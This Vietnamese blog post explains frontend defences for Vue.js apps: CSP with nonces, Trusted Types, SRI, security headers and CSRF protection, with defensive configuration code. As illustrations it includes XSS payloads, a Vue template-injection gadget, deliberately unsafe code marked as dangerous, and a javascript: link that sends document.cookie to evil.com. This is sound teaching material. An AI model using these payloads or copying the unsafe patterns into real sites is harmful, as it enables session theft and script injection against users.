Bảo mật Frontend 2026: CSP, Trusted Types, SRI và phòng thủ XSS cho Vue.js
Posted on: 4/22/2026 6:15:27 AM
Table of contents
- 1. Bức tranh bảo mật Frontend 2026 — Tại sao Client-Side là chiến trường chính
- 2. Cross-Site Scripting (XSS) — Mối đe dọa 20 năm chưa hết
- 3. Content Security Policy (CSP) — Tường lửa JavaScript trên trình duyệt
- 4. Trusted Types API — Chặn DOM-based XSS từ gốc
- 5. Subresource Integrity (SRI) — Chống Supply Chain Attack từ CDN
- 6. Security Headers — Dàn phòng thủ HTTP
- 7. Vue.js Security Deep Dive — Các lỗi thường gặp và cách phòng tránh
- 8. CSRF Protection — Bảo vệ hành động của user
- 9. Kiến trúc Defense in Depth — Kết hợp tất cả lớp phòng thủ
- 10. Công cụ kiểm tra và đánh giá
- 11. Kết luận — Bảo mật Frontend là trách nhiệm của Developer
Năm 2026, frontend không còn chỉ là giao diện — nó là attack surface lớn nhất của ứng dụng web. Với sự bùng nổ của SPA framework như Vue.js, React, Angular, và xu hướng micro-frontend, lượng JavaScript chạy trên trình duyệt người dùng tăng gấp nhiều lần so với 5 năm trước. Đáng lo ngại hơn, Cross-Site Scripting (XSS) vẫn giữ vị trí Top 3 trong OWASP Top 10 sau hơn 20 năm tồn tại.
Bài viết này đi sâu vào 5 lớp phòng thủ frontend hiện đại: Content Security Policy (CSP), Trusted Types API, Subresource Integrity (SRI), Security Headers, và các best practices đặc thù cho Vue.js — tạo thành kiến trúc Defense in Depth toàn diện cho client-side.
1. Bức tranh bảo mật Frontend 2026 — Tại sao Client-Side là chiến trường chính
Trước khi SPA framework phổ biến, phần lớn logic xử lý nằm ở server. Tấn công web chủ yếu nhắm vào SQL injection, CSRF ở phía backend. Nhưng kiến trúc hiện đại đã thay đổi hoàn toàn bức tranh này:
graph LR
A["👤 User Browser
JS Runtime"] --> B["🌐 CDN / Edge
Static Assets"]
A --> C["🔌 API Gateway
REST / GraphQL"]
A --> D["📦 Third-party Scripts
Analytics, Chat, Ads"]
A --> E["🗂 npm Packages
node_modules"]
D -->|"Supply Chain Risk"| F["⚠ Malicious Code
Data Exfiltration"]
E -->|"Dependency Risk"| F
B -->|"CDN Compromise"| F
style A fill:#e94560,stroke:#fff,color:#fff
style F fill:#ff9800,stroke:#fff,color:#fff
style B fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style C fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style D fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
style E fill:#f8f9fa,stroke:#ff9800,color:#2c3e50
Một ứng dụng Vue.js/React trung bình năm 2026 load 15–40 third-party scripts (analytics, error tracking, chat widget, A/B testing, ad scripts). Mỗi script này chạy với full quyền trên DOM của bạn — có thể đọc cookies, localStorage, gửi dữ liệu ra ngoài, thậm chí sửa đổi giao diện. Chỉ cần 1 trong số đó bị compromise, toàn bộ ứng dụng bị ảnh hưởng.
⚠ Vụ AppsFlyer SDK — Tháng 3/2026
Giữa ngày 9–11/3/2026, SDK JavaScript của AppsFlyer (có mặt trên 100.000+ website và ứng dụng) bị hacker viết lại trực tiếp trên CDN của AppsFlyer. Trong 48 giờ, script bị inject code đánh cắp cryptocurrency. Đây là ví dụ điển hình: bạn không cần viết code lỗi — chỉ cần load script của bên thứ ba là đủ rủi ro.
2. Cross-Site Scripting (XSS) — Mối đe dọa 20 năm chưa hết
XSS cho phép attacker inject JavaScript vào trang web, chạy trong ngữ cảnh trình duyệt của nạn nhân. Dù framework hiện đại tự động escape output, XSS vẫn tồn tại vì nhiều lý do.
2.1 Ba biến thể XSS
| Loại | Cơ chế | Ví dụ | Mức nguy hiểm |
|---|---|---|---|
| Reflected XSS | Payload nằm trong URL/request, server phản hồi lại không escape | search?q=<script>alert(1)</script> | Trung bình — cần dụ nạn nhân click link |
| Stored XSS | Payload lưu trong DB, hiển thị cho mọi user truy cập | Comment chứa script trong forum | Cao — ảnh hưởng nhiều user tự động |
| DOM-based XSS | JavaScript phía client đọc input (URL hash, postMessage) rồi ghi vào DOM không an toàn | document.innerHTML = location.hash | Rất cao — bypass server-side protection hoàn toàn |
2.2 Tại sao framework không phải lá chắn hoàn hảo?
Vue.js, React, Angular đều tự động escape text interpolation — {{ userInput }} sẽ render thành text thuần, không phải HTML. Tuy nhiên, vẫn có nhiều "lỗ hổng" hợp pháp:
<!-- Vue.js — v-html KHÔNG escape -->
<div v-html="userComment"></div>
<!-- React — dangerouslySetInnerHTML -->
<div dangerouslySetInnerHTML={{__html: userComment}} />
<!-- Dynamic href với javascript: protocol -->
<a :href="userProvidedUrl">Click here</a>
<!-- Nếu userProvidedUrl = "javascript:alert(document.cookie)" → XSS -->
🔑 Điểm mấu chốt
Framework bảo vệ default path (text interpolation). Nhưng mỗi khi developer cần render HTML thô (rich text editor, markdown preview, embed content), hoặc bind dynamic URL/style, lớp bảo vệ đó bị vô hiệu hoá. Đây chính là lúc cần các lớp phòng thủ bổ sung.
3. Content Security Policy (CSP) — Tường lửa JavaScript trên trình duyệt
Content Security Policy là HTTP header cho phép bạn kiểm soát chính xác những resource nào được phép load và execute trên trang. Nếu một attacker inject được <script> vào HTML nhưng CSP không cho phép inline script, trình duyệt sẽ block — XSS thất bại dù payload đã inject thành công.
3.1 Cơ chế hoạt động của CSP
sequenceDiagram
participant B as Browser
participant S as Server
participant A as Attacker
S->>B: HTTP Response + CSP Header
Note over B: CSP: script-src 'nonce-abc123'
A->>B: Inject <script>evil()</script>
B->>B: Check CSP — no nonce → BLOCK ✗
S->>B: <script nonce="abc123">app.js</script>
B->>B: Check CSP — nonce match → ALLOW ✓
B->>S: CSP Violation Report (POST /csp-report)
3.2 Cấu hình CSP thực tế cho Vue.js SPA
Một CSP header mạnh cho ứng dụng Vue.js production:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{random}' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com wss://ws.example.com;
frame-src 'none';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri /csp-report;
report-to csp-endpoint;
Giải thích từng directive quan trọng:
| Directive | Mục đích | Lưu ý cho Vue.js |
|---|---|---|
script-src 'nonce-{random}' | Chỉ cho phép script có nonce khớp | Nonce phải unique mỗi request — dùng server middleware generate |
style-src 'unsafe-inline' | Cho phép inline style | Vue SFC <style scoped> cần inline — dùng 'nonce-{random}' nếu có thể |
connect-src | Kiểm soát fetch/XHR/WebSocket | Whitelist chính xác API domain — ngăn data exfiltration |
frame-src 'none' | Chặn iframe embed | Mở cho youtube.com nếu cần embed video |
object-src 'none' | Chặn Flash/Java plugin | Luôn set 'none' — không có lý do mở |
base-uri 'self' | Ngăn attacker thay đổi <base> tag | Quan trọng — <base> injection có thể redirect toàn bộ relative URL |
3.3 CSP với Vite + Vue.js — Xử lý nonce trong build pipeline
Thách thức lớn nhất khi dùng CSP nonce-based với SPA là Vite/Webpack tạo inline script cho chunk loading. Giải pháp:
// vite.config.ts — Plugin inject nonce vào HTML
import { defineConfig, Plugin } from 'vite'
import vue from '@vitejs/plugin-vue'
function cspNoncePlugin(): Plugin {
return {
name: 'csp-nonce',
transformIndexHtml(html) {
// Server sẽ replace __CSP_NONCE__ bằng nonce thực tế mỗi request
return html.replace(
/<script/g,
'<script nonce="__CSP_NONCE__"'
)
}
}
}
export default defineConfig({
plugins: [vue(), cspNoncePlugin()],
build: {
// Tránh inline script nếu có thể
modulePreload: { polyfill: false }
}
})
// ASP.NET Core Middleware — Generate nonce mỗi request
public class CspNonceMiddleware
{
private readonly RequestDelegate _next;
public CspNonceMiddleware(RequestDelegate next) => _next = next;
public async Task InvokeAsync(HttpContext context)
{
var nonce = Convert.ToBase64String(
RandomNumberGenerator.GetBytes(32));
context.Items["CspNonce"] = nonce;
context.Response.Headers.Append(
"Content-Security-Policy",
$"default-src 'self'; " +
$"script-src 'self' 'nonce-{nonce}'; " +
$"style-src 'self' 'nonce-{nonce}'; " +
$"img-src 'self' data: https:; " +
$"connect-src 'self' https://api.yourapp.com; " +
$"frame-src 'none'; object-src 'none'; " +
$"base-uri 'self'; form-action 'self'");
await _next(context);
}
}
💡 Triển khai an toàn: Bắt đầu với Report-Only
Đừng bật CSP enforce ngay — dùng Content-Security-Policy-Report-Only trước, thu thập violation report 1–2 tuần. Phân tích report để whitelist các resource hợp lệ, sau đó mới chuyển sang enforce. Một CSP quá strict có thể break toàn bộ ứng dụng.
3.4 CSP Level 3 — Strict Dynamic và Hash-based
CSP Level 3 giới thiệu directive 'strict-dynamic' — cho phép script đã được trust (qua nonce) tạo thêm script khác mà không cần whitelist domain:
Content-Security-Policy:
script-src 'nonce-abc123' 'strict-dynamic';
/* Script có nonce='abc123' được chạy
Script mà nó tạo ra (document.createElement('script'))
cũng được trust tự động
Domain whitelist bị BỎ QUA khi strict-dynamic active */
Lợi ích: không cần maintain danh sách CDN domain dài dằng dặc. Rủi ro: nếu script đã trust bị compromise (qua prototype pollution chẳng hạn), nó có thể load thêm malicious script.
4. Trusted Types API — Chặn DOM-based XSS từ gốc
CSP bảo vệ khỏi script injection, nhưng DOM-based XSS xảy ra khi JavaScript hiện tại của bạn tự ghi dữ liệu không an toàn vào DOM sink (innerHTML, document.write, eval). Trusted Types là câu trả lời cho vấn đề này.
4.1 Cơ chế hoạt động
graph TD
A["🔤 Untrusted String
'<img onerror=alert(1)>'"] --> B{"Trusted Types
Enforcement?"}
B -->|"Không bật"| C["innerHTML = string
→ XSS thực thi ✗"]
B -->|"Bật"| D["innerHTML = string
→ TypeError! Browser block"]
B -->|"Bật"| E["Qua Sanitizer Policy
→ TrustedHTML object"]
E --> F["innerHTML = trustedHTML
→ An toàn ✓"]
style A fill:#ff9800,stroke:#fff,color:#fff
style C fill:#e94560,stroke:#fff,color:#fff
style D fill:#e94560,stroke:#fff,color:#fff
style F fill:#4CAF50,stroke:#fff,color:#fff
style E fill:#f8f9fa,stroke:#4CAF50,color:#2c3e50
4.2 Triển khai Trusted Types trong Vue.js
// Bật Trusted Types qua CSP header
// Content-Security-Policy: require-trusted-types-for 'script';
// trusted-types vue-sanitizer default;
// Tạo policy cho v-html và dynamic content
const sanitizerPolicy = trustedTypes.createPolicy('vue-sanitizer', {
createHTML(input) {
// Dùng DOMPurify để sanitize
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br',
'ul', 'ol', 'li', 'h2', 'h3', 'h4',
'blockquote', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
ALLOW_DATA_ATTR: false
})
},
createScriptURL(input) {
const url = new URL(input, location.origin)
// Chỉ cho phép script từ domain tin cậy
if (url.origin === location.origin ||
url.origin === 'https://cdn.jsdelivr.net') {
return url.toString()
}
throw new TypeError(`Blocked script URL: ${input}`)
}
})
// Vue directive thay thế v-html
app.directive('safe-html', {
mounted(el, binding) {
el.innerHTML = sanitizerPolicy.createHTML(binding.value)
},
updated(el, binding) {
el.innerHTML = sanitizerPolicy.createHTML(binding.value)
}
})
<!-- TRƯỚC: Không an toàn -->
<div v-html="userContent"></div>
<!-- SAU: Qua Trusted Types policy -->
<div v-safe-html="userContent"></div>
🔑 Browser Support (04/2026)
Trusted Types được support đầy đủ trên Chrome, Edge (từ v83+). Firefox đang implement (behind flag). Safari chưa support. Vì vậy, Trusted Types nên là lớp phòng thủ bổ sung, không phải duy nhất — luôn kết hợp với CSP và server-side sanitization.
5. Subresource Integrity (SRI) — Chống Supply Chain Attack từ CDN
SRI cho phép trình duyệt verify rằng file tải từ CDN không bị thay đổi so với bản gốc. Nếu hash không khớp, trình duyệt block file đó hoàn toàn.
5.1 Cách hoạt động
<!-- Với SRI — trình duyệt verify hash trước khi execute -->
<script
src="https://cdn.jsdelivr.net/npm/vue@3.6.0/dist/vue.global.prod.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous">
</script>
<!-- Với CSS cũng tương tự -->
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-..."
crossorigin="anonymous">
graph LR
A["📄 Build Pipeline
Generate hash"] --> B["🌐 CDN
Host file"]
B --> C["👤 Browser
Download file"]
C --> D{"SHA-384
Hash match?"}
D -->|"✓ Match"| E["Execute script
An toàn"]
D -->|"✗ Mismatch"| F["Block script
Load fallback"]
B -.->|"🔓 Attacker
modify file"| G["Modified file
Hash changed"]
G --> D
style A fill:#e94560,stroke:#fff,color:#fff
style E fill:#4CAF50,stroke:#fff,color:#fff
style F fill:#ff9800,stroke:#fff,color:#fff
style G fill:#e94560,stroke:#fff,color:#fff
5.2 Tự động hoá SRI trong Vite build
// vite.config.ts — Plugin tự động thêm SRI hash
import { defineConfig } from 'vite'
import vue from '@vitejs/plugin-vue'
import sri from 'rollup-plugin-sri'
export default defineConfig({
plugins: [
vue(),
sri({
algorithms: ['sha384'],
// Tự thêm integrity attribute vào script/link tags
publicPath: '/'
})
]
})
# Generate SRI hash thủ công
$ openssl dgst -sha384 -binary vue.global.prod.js | openssl base64 -A
# Output: oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K...
# Hoặc dùng srihash.org cho từng file
5.3 Giới hạn của SRI và giải pháp bổ sung
⚠ SRI không bảo vệ khi source bị compromise
Trong vụ AppsFlyer (03/2026), file trên CDN bị thay đổi tại source. Nếu website đã pin SRI hash cho version cũ, trình duyệt sẽ block script → ứng dụng hỏng nhưng user an toàn. Tuy nhiên, nếu developer update SRI hash theo version mới (đã bị compromise) — SRI vô tác dụng. Bài học: review changelog khi update third-party dependency, không chỉ update hash máy móc.
| Phương pháp | Bảo vệ khỏi | Không bảo vệ khỏi |
|---|---|---|
| SRI | CDN bị MITM, file bị sửa trên CDN | Source gốc bị compromise, version mới chứa malware |
| CSP connect-src | Script gửi data đến domain lạ | Script gửi data đến domain đã whitelist |
| Self-hosting | CDN compromise hoàn toàn | Dependency bị compromise trước khi bạn download |
| npm audit + lockfile | Known CVE trong dependencies | Zero-day, backdoor chưa bị phát hiện |
6. Security Headers — Dàn phòng thủ HTTP
Ngoài CSP, còn nhiều HTTP header khác tạo thành lớp phòng thủ tổng thể. Đây là bộ header khuyến nghị cho mọi ứng dụng Vue.js/.NET production:
// ASP.NET Core — SecurityHeaders Middleware
public class SecurityHeadersMiddleware
{
private readonly RequestDelegate _next;
public SecurityHeadersMiddleware(RequestDelegate next) => _next = next;
public async Task InvokeAsync(HttpContext context)
{
var headers = context.Response.Headers;
// Chống clickjacking — không cho embed trong iframe
headers.Append("X-Frame-Options", "DENY");
// Chống MIME sniffing — browser phải respect Content-Type
headers.Append("X-Content-Type-Options", "nosniff");
// Kiểm soát thông tin Referer gửi đi
headers.Append("Referrer-Policy", "strict-origin-when-cross-origin");
// Chặn browser features không cần thiết
headers.Append("Permissions-Policy",
"camera=(), microphone=(), geolocation=(), " +
"payment=(), usb=(), bluetooth=()");
// Bắt buộc HTTPS — includeSubDomains + preload
headers.Append("Strict-Transport-Security",
"max-age=31536000; includeSubDomains; preload");
// Cross-Origin Isolation cho SharedArrayBuffer
headers.Append("Cross-Origin-Opener-Policy", "same-origin");
headers.Append("Cross-Origin-Embedder-Policy", "require-corp");
await _next(context);
}
}
| Header | Chống lại | Giá trị khuyến nghị |
|---|---|---|
| Strict-Transport-Security | SSL stripping, downgrade attack | max-age=31536000; includeSubDomains; preload |
| X-Content-Type-Options | MIME confusion attack | nosniff |
| X-Frame-Options | Clickjacking | DENY hoặc SAMEORIGIN |
| Referrer-Policy | Lộ URL nhạy cảm qua Referer header | strict-origin-when-cross-origin |
| Permissions-Policy | Lạm dụng browser API (camera, mic) | Disable tất cả feature không dùng |
| COOP + COEP | Spectre-class side channel attack | same-origin + require-corp |
7. Vue.js Security Deep Dive — Các lỗi thường gặp và cách phòng tránh
Vue.js có thiết kế bảo mật tốt — template compiler tự động escape text. Nhưng một số pattern phổ biến vô tình tạo lỗ hổng:
7.1 v-html và Template Injection
// ❌ NGUY HIỂM: v-html với user input
<div v-html="comment.body"></div>
// ✅ AN TOÀN: Sanitize trước khi render
import DOMPurify from 'dompurify'
const sanitizedBody = computed(() =>
DOMPurify.sanitize(comment.value.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target', 'rel']
})
)
// <div v-html="sanitizedBody"></div>
7.2 Dynamic Component và Script Gadgets
Nghiên cứu từ PortSwigger (2025) chỉ ra rằng Vue.js có thể bị lợi dụng như script gadget để bypass CSP trong một số trường hợp:
// ❌ NGUY HIỂM: mount Vue lên node có server-rendered content
// Nếu server render user input vào DOM trước khi Vue mount,
// Vue template compiler sẽ evaluate {{ expressions }}
const app = createApp({})
app.mount('#app') // #app chứa {{ constructor.constructor('alert(1)')() }}
// ✅ AN TOÀN: Không mount Vue lên node chứa untrusted content
// Dùng SSR đúng cách với Nuxt — content được escape ở server
7.3 URL Sanitization cho router và dynamic links
// ❌ NGUY HIỂM: Dynamic href không validate
<a :href="userProfile.website">Website</a>
// userProfile.website = "javascript:document.location='https://evil.com?c='+document.cookie"
// ✅ AN TOÀN: Validate URL protocol
function sanitizeUrl(url) {
try {
const parsed = new URL(url)
if (['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return parsed.toString()
}
return '#'
} catch {
return '#'
}
}
// <a :href="sanitizeUrl(userProfile.website)">Website</a>
7.4 PostMessage và Cross-Origin Communication
// ❌ NGUY HIỂM: Không validate origin
window.addEventListener('message', (event) => {
document.getElementById('preview').innerHTML = event.data
})
// ✅ AN TOÀN: Validate origin + sanitize data
window.addEventListener('message', (event) => {
if (event.origin !== 'https://trusted-editor.example.com') return
const sanitized = DOMPurify.sanitize(event.data)
document.getElementById('preview').innerHTML = sanitized
})
8. CSRF Protection — Bảo vệ hành động của user
Cross-Site Request Forgery (CSRF) khiến user vô tình thực hiện hành động không mong muốn trên site đã đăng nhập. Dù SameSite cookie đã giảm thiểu đáng kể CSRF, vẫn cần hiểu và triển khai đúng:
8.1 SameSite Cookie — Lớp phòng thủ tự động
// ASP.NET Core — Cookie configuration
builder.Services.ConfigureApplicationCookie(options =>
{
options.Cookie.SameSite = SameSiteMode.Strict; // Hoặc Lax
options.Cookie.HttpOnly = true; // JS không đọc được
options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
options.Cookie.Name = "__Host-session"; // Cookie prefix bảo mật
});
| SameSite Value | GET cross-site | POST cross-site | Khuyến nghị |
|---|---|---|---|
Strict | ❌ Block | ❌ Block | App không cần cross-site navigation |
Lax (default) | ✅ Gửi | ❌ Block | Phù hợp hầu hết ứng dụng |
None; Secure | ✅ Gửi | ✅ Gửi | Chỉ khi cần cross-site (OAuth, embed) |
8.2 Anti-Forgery Token cho form và API
// ASP.NET Core — Enable Anti-Forgery
builder.Services.AddAntiforgery(options =>
{
options.HeaderName = "X-XSRF-TOKEN";
options.Cookie.Name = "XSRF-TOKEN";
options.Cookie.SameSite = SameSiteMode.Strict;
});
// API Controller
[HttpPost]
[ValidateAntiForgeryToken]
public async Task<IActionResult> TransferFunds(TransferRequest request)
{
// CSRF token đã được validate tự động
// ...
}
// Vue.js — Axios interceptor gửi XSRF token
import axios from 'axios'
const api = axios.create({
baseURL: '/api',
xsrfCookieName: 'XSRF-TOKEN',
xsrfHeaderName: 'X-XSRF-TOKEN',
withCredentials: true
})
9. Kiến trúc Defense in Depth — Kết hợp tất cả lớp phòng thủ
Không lớp phòng thủ nào hoàn hảo đơn lẻ. Sức mạnh nằm ở việc xếp chồng nhiều lớp — mỗi lớp chặn một vector attack khác nhau:
graph TB
subgraph "Layer 5 — Monitoring"
M1["CSP Violation Reports"]
M2["SRI Failure Alerts"]
M3["Anomaly Detection"]
end
subgraph "Layer 4 — Browser Enforcement"
B1["Content Security Policy"]
B2["Trusted Types"]
B3["Permissions Policy"]
end
subgraph "Layer 3 — Transport Security"
T1["HSTS Preload"]
T2["Certificate Transparency"]
T3["SRI Hash Verification"]
end
subgraph "Layer 2 — Application Code"
A1["Input Sanitization
DOMPurify"]
A2["Output Encoding
Vue auto-escape"]
A3["URL Validation"]
end
subgraph "Layer 1 — Authentication"
AU1["SameSite Cookies"]
AU2["CSRF Tokens"]
AU3["HttpOnly + Secure flags"]
end
M1 --> B1
M2 --> T3
B1 --> A1
B2 --> A2
T1 --> AU1
style M1 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style M2 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style M3 fill:#f8f9fa,stroke:#e94560,color:#2c3e50
style B1 fill:#e94560,stroke:#fff,color:#fff
style B2 fill:#e94560,stroke:#fff,color:#fff
style B3 fill:#e94560,stroke:#fff,color:#fff
style T1 fill:#2c3e50,stroke:#fff,color:#fff
style T2 fill:#2c3e50,stroke:#fff,color:#fff
style T3 fill:#2c3e50,stroke:#fff,color:#fff
style A1 fill:#4CAF50,stroke:#fff,color:#fff
style A2 fill:#4CAF50,stroke:#fff,color:#fff
style A3 fill:#4CAF50,stroke:#fff,color:#fff
style AU1 fill:#ff9800,stroke:#fff,color:#fff
style AU2 fill:#ff9800,stroke:#fff,color:#fff
style AU3 fill:#ff9800,stroke:#fff,color:#fff
9.1 Checklist triển khai theo độ ưu tiên
__Host- prefix, SameSite=Strict).10. Công cụ kiểm tra và đánh giá
| Công cụ | Mục đích | Miễn phí? | Tích hợp CI/CD |
|---|---|---|---|
| securityheaders.com | Scan HTTP security headers | ✅ | ❌ |
| CSP Evaluator (Google) | Đánh giá độ mạnh CSP policy | ✅ | ❌ |
| Mozilla Observatory | Scan tổng thể web security | ✅ | ❌ |
| Lighthouse (Security audit) | Audit security trong Chrome DevTools | ✅ | ✅ |
| Socket.dev | Phát hiện supply chain risk trong npm packages | ✅ (OSS) | ✅ |
| Snyk | Vulnerability scanning dependencies | ✅ (Free tier) | ✅ |
| OWASP ZAP | Dynamic Application Security Testing (DAST) | ✅ | ✅ |
| Playwright + axe | Automated security regression testing | ✅ | ✅ |
11. Kết luận — Bảo mật Frontend là trách nhiệm của Developer
Bảo mật frontend năm 2026 không còn là việc "để team security lo". Với kiến trúc SPA, phần lớn logic chạy trên trình duyệt, và mỗi third-party script là một potential attack vector. CSP, Trusted Types, SRI, cùng security headers tạo thành lưới phòng thủ nhiều lớp — nhưng tất cả đều cần developer chủ động triển khai.
💡 Quy tắc vàng
Không tin bất kỳ input nào — dù đến từ user, API, URL parameter, hay postMessage. Không tin bất kỳ script nào — dù từ CDN uy tín hay npm package phổ biến. Validate, sanitize, và verify ở mọi điểm tiếp xúc. Defense in Depth không phải paranoia — đó là engineering discipline.
Tham khảo:
- Vue.js Security Best Practices — Official Documentation
- Content Security Policy (CSP) — MDN Web Docs
- Subresource Integrity — MDN Web Docs
- Trusted Types — web.dev
- Content Security Policy Level 3 — W3C Specification
- Evading defences using VueJS script gadgets — PortSwigger Research
- CSRF Prevention Cheat Sheet — OWASP
- AppsFlyer SDK Supply Chain Attack (03/2026) — Security Boulevard
Vector Database — Kiến Trúc Tìm Kiếm Ngữ Nghĩa Cho AI
TypeScript 6.0: Type System thông minh hơn, Decorator Metadata và hiệu năng đột phá
Disclaimer: The opinions expressed in this blog are solely my own and do not reflect the views or opinions of my employer or any affiliated organizations. The content provided is for informational and educational purposes only and should not be taken as professional advice. While I strive to provide accurate and up-to-date information, I make no warranties or guarantees about the completeness, reliability, or accuracy of the content. Readers are encouraged to verify the information and seek independent advice as needed. I disclaim any liability for decisions or actions taken based on the content of this blog.